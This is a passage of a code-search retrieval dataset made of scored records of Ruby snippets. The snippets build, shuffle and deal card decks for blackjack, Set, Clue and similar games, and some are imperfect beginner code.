deck_clubs\nuser_input = nil\nhit = rand(deck.length) + 1\nplayer_cards =[]\nplayer_result = 0\ndealer_result = 0\ndealer_cards = []\n\n\n\n\nputs \"Select one of the following options : 1) Hit 2) Stay \"\nuser_input = gets.chomp\nunless player_result >=21\nif user_input == \"1\"\n\t# randomly a number is selected which represents an index of the array representing the deck\n\tplayer_selection = deck[hit]\n\t# the card corresponding to the random index selected is pushed in the player_cards array \n\tplayer_cards<<player_selection\n\t# the random card selected is deleted from the deck so that the dealer or the player cannot select the same card again\n\tdeck.delete(player_selection)\n\t# the value of the card is computed \"10SR\".to_i will correspond to 10, \"JSR\".to_i will return 0 \n\tvalue_of_card_player = player_selection.to_i\n\t# if the retuned value is 0 that means it is a face card which means adds 10 to the player_result\n\tif value_of_card_player == 0 \n\t\tplayer_result += 10\n\t\t\n\telse\n\t\tplayer_result += value_of_card_player\n\t\t\n\tend\n\tunless dealer_result <= 17\n\tdealer_selection = deck[hit]\n\tdealer_cards<<dealer_selection\n\tdeck.delete(dealer_selection)\n\tvalue_of_card_dealer = dealer_selection.to_i\n\t\tif value_of_card_dealer == 0\n\t\t\tdealer_result += 10\n\t\t\n\t\telse\n\t\t\tdealer_result += value_of_card_dealer\n\t\tend\n\t\t\t# if the dealer has a result of 17 or more the computer will randomly select one of the two options either \"hit\" or \"stay\"\n\telse\n\tdealer_select = rand(2) + 1\n\t\tif dealer_select == 1\n\t\t\tdealer_selection = deck[hit]\n\t\t\tdealer_cards<<dealer_selection\n\t\t\tdeck.delete(dealer_selection)\n\t\t\tvalue_of_card_dealer = dealer_selection.to_i\n\t\t\t\tif value_of_card_dealer == 0\n\t\t\t\t\tdealer_result += 10\n\t\t\t\telse\n\t\t\t\t\tdealer_result += value_of_card_dealer\n\t\t\t\tend\n\t\t\n\t\t\tdealer_result\n\t\tend\n\t\t\n\tdealer_result\n\tputs \"dealer score is #{dealer_result}\"\nend\n\t\n\t\t\n\nelse \n\tplayer_result\n\tif dealer_result <= 17\n\tdealer_selection = deck[hit]\n\tdealer_cards<<dealer_selection\n\tdeck.delete(dealer_selection)\n\tvalue_of_card_dealer = dealer_selection.to_i\n\t\tif value_of_card_dealer == 0\n\t\t\tdealer_result += 10\n\t\t\n\t\telse\n\t\t\tdealer_result += value_of_card_dealer\n\t\tend\n\t\t\t# if the dealer has a result of 17 or more the computer will randomly select one of the two options either \"hit\" or \"stay\"\n\telse\n\tdealer_select = rand(2) + 1\n\t\tif dealer_select == 1\n\t\t\tdealer_selection = deck[hit]\n\t\t\tdealer_cards<<dealer_selection\n\t\t\tdeck.delete(dealer_selection)\n\t\t\tvalue_of_card_dealer = dealer_selection.to_i\n\t\t\t\tif value_of_card_dealer == 0\n\t\t\t\t\tdealer_result += 10\n\t\t\t\telse\n\t\t\t\t\tdealer_result += value_of_card_dealer\n\t\t\t\tend\n\t\t\n\t\t\tdealer_result\n\t\tend\n\tend\nend\nend\nputs \"#{@player_name} ,your score is #{player_result}\"\n\n\n\n\n\tif player_result == 21 \n\t\tputs \"You WON !!! , You scored #{player_result} & the dealer scored #{dealer_result}\"\n\t\t\n\telsif (player_result >dealer_result && player_result > 21) or dealer_result == 21\n\t\tputs \"Busted !!, You scored #{player_result} & the dealer scored #{dealer_result}.Better luck next time #{@player_name}\"\n\telse \n\tputs \"#{@player_name} You scored #{player_result} & the dealer scored #{dealer_result}\" \n\tputs \"Draw\"\n\n\n \n\tend\nputs \"Would you like to play again ? 1)play again 2)exit\"\nplay_again = gets.chomp\nunless play_again == \"2\"\n\tgame\nend\n\n\nend\n\ngame\n\nputs \"have a good day!\"\n\n\t \t \n\n\n\n\n\n\n\n\t \t \n\n\n\n\n\n\n\n", "title": "" }, { "docid": "3cf5bd013bacd8a245eb223e53ceb64f", "score": "0.7629988", "text": "def create_game_deck(num_decks)\n num_decks.times { @game_deck.concat(@cards) }\n @game_deck.flatten\n end", "title": "" }, { "docid": "ba03c9cdddf844512c7cb4af49b13fa7", "score": "0.76088035", "text": "def create_cards ()\n cards_faces = ['Hearts','Clubs','Spades','Diamonds']\n cards_nums = ['King','Queen','Jack','Ace','2','3','4','5','6','7','8','9','10']\n cards = []\n\n cards_faces.each do |face|\n cards_nums.each do |num|\n \tcards << [face,num]\n end\n end\n\n return cards\nend", "title": "" }, { "docid": "b7d42502df01be9d068b273de1781c1c", "score": "0.7599594", "text": "def generate_deck\n @deck = []\n DECK[:suits].each do |suit|\n DECK[:cards].each do |card|\n @deck << \"#{suit}#{card}\"\n end\n end\n # shuffle! is a built-in Ruby method\n @deck.shuffle!\n end", "title": "" }, { "docid": "02eb349e50dd03a4a54d69a8507ed873", "score": "0.7588376", "text": "def initialize\n @deck = Array.new(81)\n w = 0\n x = 0\n y = 0\n z = 0\n count = 0\n\n while w < 3\n x = 0\n while x < 3\n y = 0\n while y < 3\n z = 0\n while z < 3\n\n\n\n nextCard = Card.new $numbers[w], $colors[x], $shading[y], $shapes[z]\n z+=1\n @deck[count] = nextCard\n count+=1\n end\n y+=1\n end\n x+=1\n end\n w+=1\n end\n\n end", "title": "" }, { "docid": "aefc9ff5e09226743c39f2b2711ed866", "score": "0.75874394", "text": "def create_deck\r\n @log.debug(\"Create a deck with rank and points\")\r\n \r\n @mazzo_gioco = []\r\n \r\n @deck_information.build_deck_spazzino\r\n @deck_information.cards_on_game.each{|x| @mazzo_gioco << x}\r\n end", "title": "" }, { "docid": "6a09d56d0b6ee79f6bf37b1c89f165af", "score": "0.7581406", "text": "def initialize\n @deck = []\n Card::NUMBERS.each do |number|\n Card::SHAPES.each do |shape|\n Card::SHADINGS.each do |shading|\n Card::COLORS.each do |color|\n @deck << Card.new(number, shape, shading, color)\n end\n end\n end\n end\n @deck.shuffle!\n end", "title": "" }, { "docid": "dfb293cfe3c74e8a0771660d37feaa97", "score": "0.754449", "text": "def build_deck\n\n\t# assembles master deck that gets duplicated/shuffled by deal method\n\n suits = %w(Club Diamond Spade Heart)\n values = %w(Ace 2 3 4 5 6 7 8 9 10 Jack Queen King)\n\n @deck_master = Array.new\n suits.each do |suit|\n values.each do |value|\n card = [suit, value]\n @deck_master << card\n\t\tend\n\tend\nend", "title": "" }, { "docid": "464f07b6fc2284ec3ab08255d362c093", "score": "0.74969465", "text": "def make_deck\n # create empty deck\n deck = []\n # add \"special value\" cards\n 4.times {deck.push(\"A\")}\n 4.times {deck.push(\"J\")}\n 4.times {deck.push(\"Q\")}\n 4.times {deck.push(\"K\")}\n # add face value cards\n for i in 2..10\n 4.times {deck.push(i)}\n end\n return deck\nend", "title": "" }, { "docid": "f94732e62b0657b1c6413337b0e248a9", "score": "0.7490174", "text": "def initialize\n @colors = ['Red', 'Green', 'Purple']\n @fills = ['Filled', 'Striped', 'Empty']\n @shapes = ['Diamond', 'Squiggle', 'RoundedRectangle']\n @numbers = [\"1\", \"2\", \"3\"]\n @deck = Array.new(81)\n i = 0\n @colors.each { |color|\n @fills.each { |fill|\n @shapes.each { |shape|\n @numbers.each { |number|\n @deck[i] = Card.new(color, fill, shape, number)\n i += 1\n }\n }\n }\n }\n @deck.shuffle!\n end", "title": "" }, { "docid": "33d6e3c56a396bf326a431fa09804e2f", "score": "0.74668956", "text": "def setupCards\n @people = @people.shuffle\n @places = @places.shuffle\n @weapons = @weapons.shuffle\n \n @criminal = @people[0]\n @crimeScene = @places[0]\n @lethalWeapon = @weapons[0]\n \n remaining = @people[1... @people.length()] + @places[1... @places.length()] + @weapons[1... @weapons.length()]\n remaining = remaining.shuffle\n \n index = 0\n \n for i in 0...remaining.length\n @arrayOfPlayers[index].setCard(remaining[i])\n index = (index + 1) % @arrayOfPlayers.length\n end\n \n end", "title": "" }, { "docid": "b3245a5702e005e4697fe9b807ca3898", "score": "0.7466367", "text": "def fill_deck arr\n deck = []\n for num in 1..4 do \n for val in arr do \n deck << Card.new(val)\n end\n end\n deck\nend", "title": "" }, { "docid": "f1825f54d5f612f1fe4f07b9692e722f", "score": "0.746367", "text": "def create_card_array\n\n card_array = []\n\n # Creates string arrays for card attributes\n # Elements are padded with spaces so their lengths are all 10 (for printing the board)\n numbers = [' one ', ' two ', ' three ']\n symbols = [' diamond ', ' squiggle ', ' oval ']\n shadings = [' solid ', ' striped ', ' open ']\n colors = [' red ', ' green ', ' purple ']\n\n # populates card_arr with all the cards in Set\n numbers.each { |number| symbols.each { |symbol| shadings.each { |shading| colors.each { |color|\n card_array.push (Card.new number, symbol, shading, color)\n }}}}\n\n card_array\n end", "title": "" }, { "docid": "beebbeae281213b55d5e49d814b68104", "score": "0.746211", "text": "def create_new\n @suits.each do |suit|\n @dignities.each do |dignity|\n @deck += [Card.new(suit: suit, dignity: dignity)]\n end\n end\n end", "title": "" }, { "docid": "a837b2db2d7c6b0fa6e4055047ce2039", "score": "0.7460821", "text": "def create_deck\r\n @log.debug(\"Create a deck with rank and points\")\r\n \r\n @mazzo_gioco = []\r\n \r\n @deck_information.build_deck_tressette\r\n @deck_information.cards_on_game.each{|x| @mazzo_gioco << x}\r\n end", "title": "" }, { "docid": "223a9e3d203d00cc62dd72598123ab27", "score": "0.74529046", "text": "def initialize (num_of_decks)\n @array_of_cards = []\n num_of_decks.times do\n SUIT_NAMES.each do |suit|\n FACE_VALUES.each do |value|\n @array_of_cards.push(Card.new(suit,value))\n end\n end\n end\n @array_of_cards.shuffle!\n end", "title": "" }, { "docid": "985520ca72cc566e7bda5f125d09756c", "score": "0.74458575", "text": "def make_deck \n deck = []\n for j in 1..4\n for i in 1..13\n card_value = i\n if ( i == 1 )\n # accommodating for the ace card\n card_value = 11\n elsif ( i > 10 )\n # remaining cards: jack, queen, king\n card_value = 10\n else\n # card values are equal to their value when not ace, jack, king, queen\n card_value = i\n deck.push(Card.new(card_value))\n end\n end\n end\n deck.shuffle!\nend", "title": "" }, { "docid": "14dcc3d89f45122c09294225cb2c281e", "score": "0.74366", "text": "def create_cards\n suits.each do |suit|\n values.each do |value|\n rank = ranks(value)\n cards << Card.new(suit, values, rank)\n end\n end\nend", "title": "" }, { "docid": "40699f6b5200e328260008ee1199332e", "score": "0.7418688", "text": "def create_deck_of_cards\n deck_of_cards = Array.new\n suits = [\"Hearts\",\"Spades\",\"Clubs\",\"Diamonds\"]\n pip_vals = [\"Ace\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\",\"10\",\"Jack\",\"Queen\",\"King\"]\n suits.each do |suit|\n pip_vals.each do |val|\n deck_of_cards << (val + \" of \" + suit)\n end\n end\n deck_of_cards \nend", "title": "" }, { "docid": "5d15b13ee8f472aff50614f442b2873d", "score": "0.7397555", "text": "def setup_initial_cards()\n\t\t@cards = Array.new;\n\t\t@dealer = Array.new;\n\t\t@num_decks = 2;\n\t\t$CARDS = [2,3,4,5,6,7,8,9,10,\"J\",\"K\",\"Q\",\"A\"];\n\t\t(@num_decks*4).times {@cards += $CARDS};\n\t\t#puts \"Shuffling cards ....\";\n\t\t@cards = @cards.sort_by {rand};\n\n\t\t## assign cards to each player\n\t\t@players.each do |p|\n\t\t\tp.hand = [@cards.pop, @cards.pop];\n\t\t\tif p.hand[0] != p.hand[1]\n\t\t\t\tp.splitable = false;\n\t\t\tend\n\t\t\t#p.hand = [2,2];\n\t\t\t#print p.hand\n\t\tend\n\n\n\t\t## assign cards to the dealer\n\t\t@dealer = [@cards.pop, @cards.pop];\n\tend", "title": "" }, { "docid": "7f1654f118009feb3638194b34a4ebcc", "score": "0.7365783", "text": "def initialize(numdecks = 1)\r\n #for each face, create a card of each suit, and add it to the list of cards\r\n @cards = Array.new()\r\n for num in 0..numdecks\r\n Card.Faces.each { |face| Card.Suits.each { |suit| @cards.push(Card.new(face, suit))}}\r\n end\r\n @cardsused = 0\r\n @cards.shuffle!\r\n end", "title": "" }, { "docid": "dd5ffd61019ff1558bf608f9d061ceae", "score": "0.7357983", "text": "def initialize()\n @deck = []\n # Spades\n @deck << Card.new(A, \"Spades\")\n @deck << Card.new(K, \"Spades\")\n @deck << Card.new(Q, \"Spades\")\n @deck << Card.new(J, \"Spades\")\n @deck << Card.new(10, \"Spades\")\n @deck << Card.new(9, \"Spades\")\n @deck << Card.new(8, \"Spades\")\n @deck << Card.new(7, \"Spades\")\n @deck << Card.new(6, \"Spades\")\n @deck << Card.new(5, \"Spades\")\n @deck << Card.new(4, \"Spades\")\n @deck << Card.new(3, \"Spades\")\n @deck << Card.new(2, \"Spades\")\n # Diamonds\n @deck << Card.new(A, \"Diamonds\")\n @deck << Card.new(K, \"Diamonds\")\n @deck << Card.new(Q, \"Diamonds\")\n @deck << Card.new(J, \"Diamonds\")\n @deck << Card.new(10, \"Diamonds\")\n @deck << Card.new(9, \"Diamonds\")\n @deck << Card.new(8, \"Diamonds\")\n @deck << Card.new(7, \"Diamonds\")\n @deck << Card.new(6, \"Diamonds\")\n @deck << Card.new(5, \"Diamonds\")\n @deck << Card.new(4, \"Diamonds\")\n @deck << Card.new(3, \"Diamonds\")\n @deck << Card.new(2, \"Diamonds\") \n # Clovers\n @deck << Card.new(A, \"Clovers\")\n @deck << Card.new(K, \"Clovers\")\n @deck << Card.new(Q, \"Clovers\")\n @deck << Card.new(J, \"Clovers\")\n @deck << Card.new(10, \"Clovers\")\n @deck << Card.new(9, \"Clovers\")\n @deck << Card.new(8, \"Clovers\")\n @deck << Card.new(7, \"Clovers\")\n @deck << Card.new(6, \"Clovers\")\n @deck << Card.new(5, \"Clovers\")\n @deck << Card.new(4, \"Clovers\")\n @deck << Card.new(3, \"Clovers\")\n @deck << Card.new(2, \"Clovers\")\n # Hearts \n @deck << Card.new(A, \"Hearts\")\n @deck << Card.new(K, \"Hearts\")\n @deck << Card.new(Q, \"Hearts\")\n @deck << Card.new(J, \"Hearts\")\n @deck << Card.new(10, \"Hearts\")\n @deck << Card.new(9, \"Hearts\")\n @deck << Card.new(8, \"Hearts\")\n @deck << Card.new(7, \"Hearts\")\n @deck << Card.new(6, \"Hearts\")\n @deck << Card.new(5, \"Hearts\")\n @deck << Card.new(4, \"Hearts\")\n @deck << Card.new(3, \"Hearts\")\n @deck << Card.new(2, \"Hearts\")\n end", "title": "" }, { "docid": "329b7c1c5bdea7e2c4ac70ecec32f7fe", "score": "0.7337685", "text": "def add_decks\n # add 4 decks of 52 cards to the game deck\n 4.times do\n RANKS.each { |rank| SUITS.each { |suit| @cards << Card.new(rank, suit) } }\n end\n # and shuffle the whole deck\n @cards.shuffle!\n end", "title": "" }, { "docid": "780e9c99b399b3a5a956a91ad9c3a0fa", "score": "0.73244584", "text": "def init_cards()\n @shoe = Array.new\n Num_Decks.times { @shoe += Cards }\n Num_Shuffle.times { @shoe.shuffle! }\n end", "title": "" }, { "docid": "84fd3cb5cf71f0ddb20bf241c20ca9c5", "score": "0.7319728", "text": "def build_pack\n cards = []\n until @card_counter > 51\n number = card_number\n suit = card_suit\n cards.push(Card.new(number, suit))\n @card_counter = @card_counter + 1\n end\n cards\n end", "title": "" }, { "docid": "9b3f63a6a1a45d1b67e99fe558c60161", "score": "0.73001766", "text": "def my_cards\n mc = Array.new\n @game.hand(@seat).each_with_index do |c,i|\n mc << ScreenCard.new(c.id,100+20*i,130,c.to_s,true)\n end \n mc \n end", "title": "" }, { "docid": "f4c141729cb2003b0e86df799755c342", "score": "0.729382", "text": "def addCards \n\t\tfor i in 1..3\n\t\t\t@table.push @deck.length > 0 ? @deck.shift : nil\n\t\tend\n\tend", "title": "" }, { "docid": "c09544d339e57a589872cd381c544d97", "score": "0.7285743", "text": "def setupCards\n #shuffle individual card decks\n @suspects.shuffle!\n @locations.shuffle!\n @weapons.shuffle!\n\n #set answer cards\n @answerCards = Array.new\n @answerCards.push(@suspects.pop)\n @answerCards.push(@locations.pop)\n @answerCards.push(@weapons.pop)\n puts \" \\nANSWERS: \"+\"#{@answerCards.cycle(1){|x| print \"#{x.value} , \"}}\"\n\n #group cards then shuffle again\n @allCards = @suspects+@locations+@weapons\n @allCards.shuffle!\n\n # distribute cards until deck is empty\n i = 0\n while not @allCards.empty?\n @players[i].setCard(@allCards.pop)\n i = (i+1)%@players.length\n end #while not @allCards.empty?\n end", "title": "" }, { "docid": "093e1ff785a690261386f27f883dca09", "score": "0.7283525", "text": "def add_cards(cards)\n #cards need to be a 2d array of vale and color\n cards.each do |value, color|\n Card.create(game_id: @game.id, owner: 0, value: value, color: color )\n end\n end", "title": "" }, { "docid": "53281850e7961c2582acd2f00fec8e17", "score": "0.72536516", "text": "def initialize_deck\n new_deck = []\n CARDS.each do |item|\n SUITS.each do |suit|\n new_deck << Array[suit, item]\n end\n end\n new_deck\nend", "title": "" }, { "docid": "315f508bda779e76b9f558d391a5383f", "score": "0.7241717", "text": "def create_52_card_deck\n\n end", "title": "" }, { "docid": "db2469186f4ae000f05252db86c0711e", "score": "0.72274387", "text": "def add_deck!\n Card::SUITS.each do |suit|\n Card::VALUES.each do |value|\n # Inserts each card into a random position between 0 and the current\n # number of cards already in @cards.\n @cards.insert( rand(@cards.size), Card.new(suit, value) )\n end\n end\n\n self\n end", "title": "" }, { "docid": "ec545d6df39087466fe1181d2312cb33", "score": "0.7214773", "text": "def initialize(deck)\n #instance variables for the class set\n @number_of_cards=0\n @example_set=Array.new\n @array_of_cards=Array.new\n clear_board\n while @number_of_cards<12\n @array_of_cards[@number_of_cards]=deck.draw_card\n @number_of_cards+=1\n end\n end", "title": "" }, { "docid": "9421085f18f8d87bda12dcc3cbfaa981", "score": "0.7204008", "text": "def load_face_cards\n counter = 0\n\n ## loop to load J, Q, K\n while counter < 3\n new_card = Card.new 10\n $the_deck << new_card\n counter+=1\n end\n ## load the ace into the deck\n ace_card = Card.new 11\n $the_deck << ace_card\nend", "title": "" }, { "docid": "04ab04c3fce72df3178107d2aad65f9c", "score": "0.72031057", "text": "def build_deck\n cards=[2, 3, 4, 5, 6, 7, 8, 9, 10, \"J\", \"Q\", \"K\", \"A\"]\n\tsuits =[\"Hearts\", \"Diamonds\", \"Spades\", \"Clubs\"]\n\n\tdeck=cards.product(suits).map{ |c,s|\n\t\t{card: c, suit: s}\n\t}\n\tdeck.shuffle\nend", "title": "" }, { "docid": "d6ebfd9c989f5fdd03e6412b81aceea9", "score": "0.72020525", "text": "def initialize_deck\n cards = []\n VALUES.each do |value|\n SUITS.each do |suit|\n cards.push([suit, value])\n end\n end\n cards.shuffle\nend", "title": "" }, { "docid": "ff1e16c975b452be571f5f0a6f49baff", "score": "0.7187471", "text": "def build_deck\n deck = [\"Ace\", \"King\", \"Queen\", \"Jack\", 10, 9, 8, 7, 6, 5, 4, 3, 2]\n full_deck = []\n suits = [\"spades\", \"hearts\", \"clubs\", \"diamonds\"]\n deck.each do |card|\n suits.each do |suit|\n full_deck.push(card.to_s + \":\" + suit)\n end\n end\n full_deck\nend", "title": "" }, { "docid": "9d49878b046c44d2c1e3f9d2d6141702", "score": "0.71864045", "text": "def deal_cards\n # First calls a private method to create an array of arrays equal to the\n # number of players. Each sub array representing one players hand.\n create_empty_hands\n # Iterates over array of all hands and populates them with random cards\n # until they reach their handlimit\n @all_hands.each do |hand|\n until hand.length == @handsize do\n hand << @deck.pick_random_card\n end\n end\n end", "title": "" }, { "docid": "6a8668e0c6b15e165df5d01dd6c87307", "score": "0.71732306", "text": "def initialize\n @cards = []\n # loop over all the suits\n SUITS.each do |suit|\n # loop over all the ranks\n RANKS.each do |rank|\n # create a new card with suit, rank\n card = Card.new(suit, rank)\n # add the card to @cards\n @cards.push(card)\n # card = Card.new(suit, rank)\n # in rubymine, hit refactor, inline to move the methods into an inline usage\n\n end\n end\n @cards.shuffle!\n end", "title": "" }, { "docid": "c406876100965bcf5f2a2c444433d4ed", "score": "0.7163807", "text": "def addCards \n\t\tif @deck.length > 0\n\t\t\t3.times {@table << @deck.shift}\n\t\tend\n\tend", "title": "" }, { "docid": "688c2a5d9f4c47c6abb94b9a0927f262", "score": "0.7156321", "text": "def initialize\n @cards = Array.new\n for suit in CardDeck::Card::SUIT\n stock \"Ace\", suit\n stock \"King\", suit\n stock \"Queen\", suit\n stock \"Jack\", suit\n for num in (2..7).to_a; stock num, suit; end\n end\n @cards.shuffle!\n end", "title": "" }, { "docid": "f3bcef8f2ac34823a6b2cda00192d977", "score": "0.7145051", "text": "def generate_deck(ranks, colors, deck)\n 4.times do #lets arbitrarly decide that there will be 4 decks\n ranks.each do |rank|\n colors.each do |color|\n card = {} \n card[:rank] = rank\n card[:color] = color\n deck.push(card)\n end\n end\n end\n deck.shuffle!\nend", "title": "" }, { "docid": "fbc68177151430eecada2ca9035e9a1e", "score": "0.71446276", "text": "def create_deck(suit)\n deck = [2, 3, 4, 5, 6, 7, 8, 9, 10, \"King\", \"Jack\", \"Queen\", \"Ace\"]\n deck.each do |card|\n @deck << \"#{suit}_#{card}\"\n end\nend", "title": "" }, { "docid": "69ed26de296193c957eb7ab79ea5869a", "score": "0.7139141", "text": "def cardone\n num_a = [1, 2, 3] # [1, 2, 3]\n color_a = [1, 2, 3] # ['red', 'green', 'purple']\n shade_a = [1, 2, 3] # ['solid', 'striped', 'open']\n shape_a = [1, 2, 3] # ['squiggle', \"diamond', 'oval']\n cards = [] # to be returned\n # loops through all cards\n (0..80).each do |n|\n # % based on when to adjust according to base-3\n cards[n] = Card.new(num_a[n % 3], color_a[(n / 3) % 3], shade_a[(n / 27) % 3], shape_a[(n / 9) % 3])\n end\n cards # returned array\nend", "title": "" }, { "docid": "6c0cfd05afb2860f9b3f655f3274311f", "score": "0.71018016", "text": "def create_cards\n cards = []\n read_file.each do |entry|\n question = entry[0]\n answer = entry[1].to_s\n category = entry[2]\n cards << Card.new(question, answer, category)\n end\n cards\n end", "title": "" }, { "docid": "82c4955ad5d4d1101fc9ccd7a9f0dfb3", "score": "0.7083526", "text": "def build_deck\n list_of_cards = []\n \n file = File.new('aircrafts/index.xml')\n doc = Document.new file\n \n allies = Allies.new\n axis = Axis.new\n fighter = Fighter.new()\n bomber = Bomber.new\n victory_img = Image.new('victory.gif')\n keepem_img = Image.new('keepem.gif')\n \n doc.elements.each('deck/aircraft') { |element| \n name = element.attributes['name']\n image = Image.new(element.attributes['image'])\n \n if(element.attributes['category'] == 'fighter')\n category = fighter\n elsif(element.attributes['category'] == 'bomber')\n category = bomber\n end\n\n if(element.attributes['nation'] == 'axis')\n nation = allies\n elsif(element.attributes['nation'] == 'allies')\n nation = axis\n end\n\n count = 0\n while count < 3\n count += 1\n temp_aircraft = Aircraft.new(image, name, nation, category, count)\n list_of_cards.push(temp_aircraft)\n end\n }\n\n victory = Victory.new(victory_img)\n list_of_cards.push(victory)\n \n count = 1\n while count < Keepem.max\n keepem = Keepem.new(keepem_img,count)\n list_of_cards.push(keepem)\n count += 1\n end\n\n list_of_cards.sort\n end", "title": "" }, { "docid": "6d6d18b40495174e8fa83aa40c6f0c3d", "score": "0.70703304", "text": "def initialize\n @cards = []\n ['Hearts', 'Diamonds', 'Spades', 'Clubs'].each do |suit|\n ['2', '3', '4', '5', '6', '7', '8', '9', '10', 'Jack', 'Queen', 'King', 'Ace'].each do |face_value|\n @cards << Card.new(suit, face_value)\n end\n end\n shuffle! \n end", "title": "" }, { "docid": "0e45b666a44a557f08775733aa7d734e", "score": "0.7054582", "text": "def initCards()\n initTreasureCardDeck()\n initMonsterCardDeck()\n initCultistCardDeck()\n \n shuffleMonsters()\n shuffleTreasures()\n shuffleCultists()\n \n @usedTreasures = Array.new\n @usedMonsters = Array.new\n \n end", "title": "" }, { "docid": "f3a2c7c0120ededeab426bb5e77ac059", "score": "0.7044624", "text": "def deal_cards\n # Create tableau\n position = Array.new(3) { Array.new(13, 0)}\n # Shuffle cards\n @cards = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13].shuffle\n # Deal cards onto tableau\n column = 0\n row = 1\n @cards.each do |card|\n position[column][row] = card\n column += 1\n if column > 2\n column = 0\n row += 1\n end\n end\n # Return the resulting position\n position\n end", "title": "" }, { "docid": "9e5af17e65ec3b61162447ce2babdb61", "score": "0.70200884", "text": "def assign_cards\n Card.all.each do |card|\n self.deck_cards.create!(card: card)\n end\n end", "title": "" }, { "docid": "cc679e6a7dbf9cb304eb3501434385b2", "score": "0.70192873", "text": "def create_cards(suits, ranks)\n created_cards = Array.new\n suits.each do |suit|\n ranks.each do |rank|\n created_cards.push Card.new(:rank => rank, :suit => suit)\n end\n end\n created_cards\n end", "title": "" }, { "docid": "056d3c964c6300fe061167291b553ed2", "score": "0.70115525", "text": "def init_cards\n\t\tself.cursor = 0\n\t\tfor i in 0..8 do\n\t\t\t\tinit_card_iteration i\n\t\t\tend\n\t\t\tshuffle_deck\n\t\tend", "title": "" }, { "docid": "e002ee6678afc58ab243d42ae9fad7f9", "score": "0.7008917", "text": "def cards_deck mode\n cards = []\n \n (1..mode.values.first).to_a.each do | n |\n cards.push n\n end\n \n (1..mode.values.first).to_a.each do | n |\n cards.push n\n end\n #cards.push\n \n \n # hand1 = Hand.new\n # deck1 = Deck.new\n\n # hand2 = Hand.new\n # deck2 = Deck.new\n\n # hand1.draw(deck1, 5)\n # hand2.draw(deck2, 5)\n \n # hand1.each do | i |\n # cards.push i\n #end\n \n return cards.shuffle\nend", "title": "" }, { "docid": "fb4ba3f5c8e24caca9e770b422957ee0", "score": "0.70045", "text": "def initialize\n values = Array[1,2,3,4,5,6,7,8,9,10,10,10,10]\n symbols = Array['A','2','3','4','5','6','7','8','9','10','J','Q','K']\n #suits = [\"\\x03\",\"\\x04\",\"\\x05\",\"\\x06\"] # ASCII values for card suits\n suits = [\"H\",\"D\",\"S\",\"C\"]\n \n @cards = Array.new\n \n for suit in 0..suits.size-1\n for symbol in 0..symbols.size-1\n card = Card.new(symbols[symbol], values[symbol], suits[suit])\n @cards.push(card)\n end\n end\n end", "title": "" }, { "docid": "2128a049a6de07c854c95918f50bb086", "score": "0.7002595", "text": "def crack_new_one (card_count_array, suits_array)\n @cards = []\n\n card_count_array.each {|value| suits_array.each{|suit|\n new_card = Card.new ({\n value: value,\n suit: suit\n })\n @cards.push(new_card)\n }}\n @cards\n end", "title": "" }, { "docid": "264cdfe405726c38b691ae97cea38ddd", "score": "0.7001158", "text": "def create_player_cards(player)\n if player.supply\n 7.times { player.supply.cards.create!( cardmapping_id: Cardmapping.get( 'Copper' ) ) }\n 3.times { player.supply.cards.create!( cardmapping_id: Cardmapping.get( 'Estate' ) ) }\n # Testing purposes\n #3.times { player.supply.cards.create!( cardmapping_id: Cardmapping.get( 'Witch' ) ) }\n player.supply.shuffle\n end\n end", "title": "" }, { "docid": "fa945a692e2ffe4fa94d20cfc1dc2be1", "score": "0.7000559", "text": "def setupCards\n\t\t#shuffle all of the individual decks of cards\n\t\t@suspects = @suspects.shuffle\n\t\t@locations = @locations.shuffle\n\t\t@weapons = @weapons.shuffle\n\n\t\t#choose the winning guess\n\t\t@suspectAnswer = @suspects.delete_at(0)\n\t\t@locationAnswer = @locations.delete_at(0)\n\t\t@weaponAnswer = @weapons.delete_at(0)\n\n\t\t#move all of the remaining cards together and shuffle them\n\t\t@suspects.concat(@locations.concat(@weapons))\n\t\t@suspects = @suspects.shuffle\n\n\t\t#distribute all of the remaining cards evenly between all of the players\n\t\t(@suspects.length).times{ |i| @players[i % @numPlayers].setCard(@suspects[i]) }\n\tend", "title": "" }, { "docid": "62b62ac95cb8e91b2db04495e8d983d0", "score": "0.6994883", "text": "def init_deck(num_decks, deck)\n suits = [\"diamonds\",\"clubs\",\"spades\",\"hearts\"]\n values = [\"Ace\",2,3,4,5,6,7,8,9,10,\"Jack\",\"Queen\",\"King\"]\n deck.clear #shouldn't need this, but just in case\n\n suits.each do |suit|\n values.each do |val|\n num_decks.times { deck.push({suit: suit, value: val}) }\n end\n end\n\n deck.shuffle!\nend", "title": "" }, { "docid": "81cc66196679bfdeb20bff703daa3a0a", "score": "0.69946456", "text": "def deck\n POWER.each do |key, power|\n SUITS.each do |suite|\n @deck.push(Card.new(key + ' ' + suite, suite, power, set_game_point(key)))\n end\n end\n end", "title": "" }, { "docid": "3d94b8c209fcd727f405502d51ff6063", "score": "0.6994585", "text": "def build_deck\n deck =[]\n\n SUITS.each do |suit|\n VALUES.each do |value|\n deck << ( value + suit )\n end\n end\n\n deck.shuffle\nend", "title": "" }, { "docid": "0552e18af1f38bf5295630716e199919", "score": "0.6993319", "text": "def create_deck(card_decks)\n card_decks = 1 if card_decks < 1\n @deck = Deck.new(@log, card_decks)\n @log.info { \"Shuffling Deck: #{@deck.length} cards\" }\n @deck.shuffle\n end", "title": "" }, { "docid": "0c2b1971e47b9de94c767ed3c866c7a0", "score": "0.6992814", "text": "def get_cards(deck)\n draw(deck)\n end", "title": "" }, { "docid": "ec6f6afe4f57600aa7175e6b4c5909d5", "score": "0.6977448", "text": "def deal_cards\n 2.times do\n @player_hand.cards << @deck.deal\n @dealer_hand.cards << @deck.deal\n end\n end", "title": "" }, { "docid": "de315b0c25948c179a74bc615df0678b", "score": "0.69653404", "text": "def prepare_52cards_deck\n\n @main_deck.crack_new_one((2..14).to_a, %w{spades clubs diamonds hearts})\n @main_deck.shuffle_it\n print_shuffle\n\n end", "title": "" }, { "docid": "5f46bd030df9abe5d8a9dea8cd8b858f", "score": "0.6957399", "text": "def newSet\n\t\tshapeType = [\"ovals\", \"squiggles\", \"diamonds\"]\n\t\tcolorType = [\"red\", \"purple\", \"green\"]\n\t\tnumberType = [\"one\", \"two\", \"three\"]\n\t\tshadingType = [\"solid\", \"striped\", \"outlined\"]\n\t\tid = 0;\n\t\tcardSet = []\n\n\t\tfor i in 0..2\n\t\t\tfor j in 0..2\n\t\t\t\tfor k in 0..2\n\t\t\t\t\tfor l in 0..2\n\t\t\t\t\t\tcardSet << Card.new(i, j, k, 